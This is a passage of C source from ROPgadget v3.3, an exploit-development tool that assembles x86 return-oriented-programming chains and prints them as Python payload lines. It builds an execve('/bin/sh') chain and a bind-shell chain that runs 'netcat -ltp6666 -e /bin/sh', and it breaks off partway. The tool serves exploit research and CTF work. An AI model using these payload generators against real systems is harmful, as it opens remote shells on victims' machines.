mirror of
https://github.com/JonathanSalwan/ROPgadget
synced 2026-06-08 11:25:23 +00:00
Jonathan Salwan
686 lines
31 KiB
C
686 lines
31 KiB
C
/*
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** RopGadget - Dev v3.3
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** Jonathan Salwan - http://twitter.com/JonathanSalwan
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** http://shell-storm.org
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** 2011-10-18
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**
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** This program is free software; you can redistribute it and/or modify
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** it under the terms of the GNU General Public License as published by
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** the Free Software Foundation; either version 2 of the License, or
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** (at your option) any later version.
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**
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** This program is distributed in the hope that it will be useful,
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** but WITHOUT ANY WARRANTY; without even the implied warranty of
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** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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** GNU General Public License for more details.
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**
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** You should have received a copy of the GNU General Public License
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** along with this program; if not, write to the Free Software
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** Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
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*/
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/*
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** Make a payload.
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** 4 parties:
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**
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** 1) write "/bin/sh\0" in .data or "/usr/bin/netcat\0" if -bind flag is enable
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** 2) registers initialisation
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** 3) initialisation of %eax for execve() syscall
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** 4) call "int 0x80" or "sysenter"
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**
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*/
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#include "ropgadget.h"
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/* linked list for gadgets */
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t_makecode *add_element(t_makecode *old_element, char *instruction, Elf32_Addr addr)
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{
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t_makecode *new_element;
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new_element = xmalloc(sizeof(t_makecode));
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new_element->addr = addr;
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new_element->instruction = instruction;
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new_element->next = old_element;
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return (new_element);
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}
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/* free linked list */
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static void free_add_element(t_makecode *element)
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{
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t_makecode *tmp;
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while (element)
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{
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tmp = element;
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element = tmp->next;
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free(tmp);
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}
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}
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/* returns addr of instruction */
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static Elf32_Addr ret_addr_makecodefunc(t_makecode *list_ins, char *instruction)
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{
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char *p;
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while (list_ins)
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{
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p = list_ins->instruction;
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while (*p != 0)
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{
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if (!match(p, instruction, strlen(instruction)))
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return (list_ins->addr);
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p++;
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}
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list_ins = list_ins->next;
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}
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return (0);
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}
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/* returns the numbers of pop in the gadget. */
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static int how_many_pop(char *gadget)
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{
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int cpt = 0;
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char *p;
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p = gadget;
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while(*p != '\0')
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{
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if (!strncmp(p, "pop", 3))
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cpt++;
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p++;
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}
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return (cpt);
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}
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/* returns first reg in "mov %e?x,(%e?x)" instruction */
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static char *get_first_reg(char *gadget)
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{
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char *p;
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p = xmalloc(4 * sizeof(char));
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while (*gadget != '(' && *gadget != '\0')
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gadget++;
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gadget -= 4;
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strncpy(p, gadget, 3);
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return (p);
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}
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/* returns second reg in "mov %e?x,(%e?x)" instruction */
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static char *get_second_reg(char *gadget)
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{
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char *p;
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p = xmalloc(4 * sizeof(char));
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while (*gadget != '(' && *gadget != '\0')
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gadget++;
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gadget += 2;
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strncpy(p, gadget, 3);
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return (p);
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}
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/* returns the numbers of "pop" befor pop_reg */
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static int how_many_pop_before(char *gadget, char *pop_reg)
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{
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int cpt = 0;
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while (strncmp(gadget, pop_reg, strlen(pop_reg)) && *gadget != '\0')
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{
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if (!strncmp(gadget, "pop", 3))
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cpt++;
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gadget++;
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}
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return (cpt);
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}
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/* returns the numbers of "pop" after pop_reg */
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static int how_many_pop_after(char *gadget, char *pop_reg)
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{
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int cpt = 0;
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while(strncmp(gadget, pop_reg, strlen(pop_reg)))
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{
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if (*gadget == '\0')
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return (0);
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gadget++;
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}
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gadget += strlen(pop_reg);
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while (*gadget != '\0')
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{
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if (!strncmp(gadget, "pop", 3))
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cpt++;
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gadget++;
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}
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return (cpt);
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}
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/* display padding */
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static void display_padding(int i)
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{
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while (i != 0)
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{
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x42424242) # padding%s\n", BLUE, ENDC);
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i--;
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}
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}
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/* partie 1 | write /bin/sh in .data for execve("/bin/sh", NULL, NULL)*/
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static void makepartie1_local(t_makecode *list_ins)
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{
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Elf32_Addr addr_mov_gadget;
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Elf32_Addr addr_xor_gadget;
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Elf32_Addr addr_pop_stack_gadget;
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Elf32_Addr addr_pop_binsh_gadget;
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char *mov_gadget;
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char *xor_gadget;
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char *pop_stack_gadget;
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char *pop_binsh_gadget;
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char *first_reg;
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char *second_reg;
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char reg_stack[32] = "pop %";
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char reg_binsh[32] = "pop %";
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char instr_xor[32] = "xor %";
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addr_mov_gadget = ret_addr_makecodefunc(list_ins, "mov %e?x,(%e?x)");
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mov_gadget = get_gadget_since_addr(addr_mov_gadget);
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first_reg = get_first_reg(mov_gadget);
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second_reg = get_second_reg(mov_gadget);
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strncat(reg_stack, second_reg, 3);
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strncat(reg_binsh, first_reg, 3);
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strncat(instr_xor, first_reg, 3);
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addr_pop_stack_gadget = ret_addr_makecodefunc(list_ins, reg_stack);
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pop_stack_gadget = get_gadget_since_addr(addr_pop_stack_gadget);
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addr_pop_binsh_gadget = ret_addr_makecodefunc(list_ins, reg_binsh);
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pop_binsh_gadget = get_gadget_since_addr(addr_pop_binsh_gadget);
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addr_xor_gadget = ret_addr_makecodefunc(list_ins, instr_xor);
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xor_gadget = get_gadget_since_addr(addr_xor_gadget);
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fprintf(stdout, "\t%sPayload%s\n", YELLOW, ENDC);
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fprintf(stdout, "\t\t%s# execve /bin/sh generated by RopGadget v3.3%s\n", BLUE, ENDC);
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/*****************\/bin*********************/
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
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display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data%s\n", BLUE, Addr_sData, ENDC);
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display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
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display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
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fprintf(stdout, "\t\t%sp += \"/bin\"%s\n", BLUE, ENDC);
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display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
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display_padding(how_many_pop(mov_gadget));
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/*******************EOF*********************/
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/*****************\//sh*********************/
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
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display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 4%s\n", BLUE, Addr_sData + 4, ENDC);
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display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
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display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
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fprintf(stdout, "\t\t%sp += \"//sh\"%s\n", BLUE, ENDC);
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display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
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display_padding(how_many_pop(mov_gadget));
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/*******************EOF*********************/
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/******************\0***********************/
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
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display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 8%s\n", BLUE, Addr_sData + 8, ENDC);
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display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_xor_gadget, xor_gadget, ENDC);
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display_padding(how_many_pop(xor_gadget));
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
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display_padding(how_many_pop(mov_gadget));
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/******************EOF**********************/
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free(first_reg);
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free(second_reg);
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}
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/* partie 1 bis | write //usr/bin/netcat -ltp6666 -e///bin//sh in .data */
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static void makepartie1_remote(t_makecode *list_ins)
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{
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Elf32_Addr addr_mov_gadget;
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Elf32_Addr addr_xor_gadget;
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Elf32_Addr addr_pop_stack_gadget;
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Elf32_Addr addr_pop_binsh_gadget;
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char *mov_gadget;
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char *xor_gadget;
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char *pop_stack_gadget;
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char *pop_binsh_gadget;
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char *first_reg;
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char *second_reg;
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char reg_stack[32] = "pop %";
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char reg_binsh[32] = "pop %";
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char instr_xor[32] = "xor %";
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addr_mov_gadget = ret_addr_makecodefunc(list_ins, "mov %e?x,(%e?x)");
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mov_gadget = get_gadget_since_addr(addr_mov_gadget);
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first_reg = get_first_reg(mov_gadget);
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second_reg = get_second_reg(mov_gadget);
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strncat(reg_stack, second_reg, 3);
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strncat(reg_binsh, first_reg, 3);
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strncat(instr_xor, first_reg, 3);
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addr_pop_stack_gadget = ret_addr_makecodefunc(list_ins, reg_stack);
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pop_stack_gadget = get_gadget_since_addr(addr_pop_stack_gadget);
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addr_pop_binsh_gadget = ret_addr_makecodefunc(list_ins, reg_binsh);
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pop_binsh_gadget = get_gadget_since_addr(addr_pop_binsh_gadget);
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addr_xor_gadget = ret_addr_makecodefunc(list_ins, instr_xor);
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xor_gadget = get_gadget_since_addr(addr_xor_gadget);
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fprintf(stdout, "\t%sPayload%s\n", YELLOW, ENDC);
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fprintf(stdout, "\t\t%s# execve /bin/sh bindport %s generated by RopGadget v3.3%s\n", BLUE, bind_mode.port, ENDC);
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/*****************\//us*********************/
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
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display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data%s\n", BLUE, Addr_sData, ENDC);
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display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
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display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
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fprintf(stdout, "\t\t%sp += \"//us\"%s\n", BLUE, ENDC);
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display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
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display_padding(how_many_pop(mov_gadget));
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/*******************EOF*********************/
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/******************r/bi*********************/
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
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display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 4%s\n", BLUE, Addr_sData + 4, ENDC);
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display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
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display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
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fprintf(stdout, "\t\t%sp += \"r/bi\"%s\n", BLUE, ENDC);
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display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
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display_padding(how_many_pop(mov_gadget));
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/*******************EOF*********************/
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/*****************\n/ne*********************/
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
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display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 8%s\n", BLUE, Addr_sData + 8, ENDC);
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display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
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display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
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fprintf(stdout, "\t\t%sp += \"n/ne\"%s\n", BLUE, ENDC);
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display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
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display_padding(how_many_pop(mov_gadget));
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/*******************EOF*********************/
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/******************tcat*********************/
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
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display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 12%s\n", BLUE, Addr_sData + 12, ENDC);
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display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
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display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
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fprintf(stdout, "\t\t%sp += \"tcat\"%s\n", BLUE, ENDC);
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display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
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display_padding(how_many_pop(mov_gadget));
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/*******************EOF*********************/
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/******************\0***********************/
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
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display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 16%s\n", BLUE, Addr_sData + 16, ENDC);
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display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_xor_gadget, xor_gadget, ENDC);
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display_padding(how_many_pop(xor_gadget));
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
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display_padding(how_many_pop(mov_gadget));
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/******************EOF**********************/
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/******************-ltp*********************/
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
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display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 17%s\n", BLUE, Addr_sData + 17, ENDC);
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display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
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fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
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display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
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fprintf(stdout, "\t\t%sp += \"-ltp\"%s\n", BLUE, ENDC);
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display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||
display_padding(how_many_pop(mov_gadget));
|
||
/*******************EOF*********************/
|
||
|
||
/******************<PORT>*******************/
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 21%s\n", BLUE, Addr_sData + 21, ENDC);
|
||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
|
||
display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
|
||
fprintf(stdout, "\t\t%sp += \"%s\"%s\n", BLUE, bind_mode.port, ENDC);
|
||
display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||
display_padding(how_many_pop(mov_gadget));
|
||
/*******************EOF*********************/
|
||
|
||
/******************\0***********************/
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 25%s\n", BLUE, Addr_sData + 25, ENDC);
|
||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_xor_gadget, xor_gadget, ENDC);
|
||
display_padding(how_many_pop(xor_gadget));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||
display_padding(how_many_pop(mov_gadget));
|
||
/******************EOF**********************/
|
||
|
||
|
||
|
||
/******************-e//\********************/
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 26%s\n", BLUE, Addr_sData + 26, ENDC);
|
||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
|
||
display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
|
||
fprintf(stdout, "\t\t%sp += \"-e//\"%s\n", BLUE, ENDC);
|
||
display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||
display_padding(how_many_pop(mov_gadget));
|
||
/*******************EOF*********************/
|
||
|
||
/*****************\/bin*********************/
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 30%s\n", BLUE, Addr_sData + 30, ENDC);
|
||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
|
||
display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
|
||
fprintf(stdout, "\t\t%sp += \"/bin\"%s\n", BLUE, ENDC);
|
||
display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||
display_padding(how_many_pop(mov_gadget));
|
||
/*******************EOF*********************/
|
||
|
||
/******************\//sh********************/
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 34%s\n", BLUE, Addr_sData + 34, ENDC);
|
||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
|
||
display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
|
||
fprintf(stdout, "\t\t%sp += \"//sh\"%s\n", BLUE, ENDC);
|
||
display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||
display_padding(how_many_pop(mov_gadget));
|
||
/*******************EOF*********************/
|
||
|
||
/******************\0***********************/
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 38%s\n", BLUE, Addr_sData + 38, ENDC);
|
||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_xor_gadget, xor_gadget, ENDC);
|
||
display_padding(how_many_pop(xor_gadget));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||
display_padding(how_many_pop(mov_gadget));
|
||
/******************EOF**********************/
|
||
|
||
|
||
/*********************************** make now arg_tab[] ***********************************/
|
||
/*
|
||
** data + 0 = "//usr/bin/netcat"
|
||
** data + 17 = "-ltp6666"
|
||
** data + 26 = "-e///bin//sh"
|
||
** ^
|
||
** +-- data + 38
|
||
**
|
||
** data + 40 = data + 0
|
||
** data + 44 = data + 17
|
||
** data + 48 = data + 26
|
||
** data + 52 = NULL
|
||
*/
|
||
|
||
/****************** data + 0 ********************/
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 40%s\n", BLUE, Addr_sData + 40, ENDC);
|
||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
|
||
display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data%s\n", BLUE, Addr_sData, ENDC);
|
||
display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||
display_padding(how_many_pop(mov_gadget));
|
||
/******************* EOF **********************/
|
||
|
||
/****************** data + 17 ********************/
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 44%s\n", BLUE, Addr_sData + 44, ENDC);
|
||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
|
||
display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 17%s\n", BLUE, Addr_sData + 17, ENDC);
|
||
display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||
display_padding(how_many_pop(mov_gadget));
|
||
/******************* EOF **********************/
|
||
|
||
/****************** data + 17 ********************/
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 48%s\n", BLUE, Addr_sData + 48, ENDC);
|
||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
|
||
display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 26%s\n", BLUE, Addr_sData + 26, ENDC);
|
||
display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||
display_padding(how_many_pop(mov_gadget));
|
||
/******************* EOF **********************/
|
||
|
||
/****************** \0 [1] ***********************/
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 52%s\n", BLUE, Addr_sData + 52, ENDC);
|
||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_xor_gadget, xor_gadget, ENDC);
|
||
display_padding(how_many_pop(xor_gadget));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||
display_padding(how_many_pop(mov_gadget));
|
||
/****************** EOF **************************/
|
||
|
||
/****************** \0 [2] ***********************/
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 53%s\n", BLUE, Addr_sData + 53, ENDC);
|
||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_xor_gadget, xor_gadget, ENDC);
|
||
display_padding(how_many_pop(xor_gadget));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||
display_padding(how_many_pop(mov_gadget));
|
||
/****************** EOF **************************/
|
||
|
||
/****************** \0 [3] ***********************/
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 54%s\n", BLUE, Addr_sData + 54, ENDC);
|
||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_xor_gadget, xor_gadget, ENDC);
|
||
display_padding(how_many_pop(xor_gadget));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||
display_padding(how_many_pop(mov_gadget));
|
||
/****************** EOF **************************/
|
||
|
||
/****************** \0 [4] ***********************/
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
|
||
display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 55%s\n", BLUE, Addr_sData + 55, ENDC);
|
||
display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_xor_gadget, xor_gadget, ENDC);
|
||
display_padding(how_many_pop(xor_gadget));
|
||
fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
|
||
display_padding(how_many_pop(mov_gadget));
|
||
/****************** EOF **************************/
|
||
|
||
/**************************************** EOF *********************************************/
|
||
|
||
free(first_reg);
|
||
free(second_reg);
|
||
}
|
||
|
||
/* partie 2 init reg => %ebx = "/bin/sh\0" | %ecx = "\0" | %edx = "\0" for execve("/bin/sh", NULL, NULL)*/
|
||
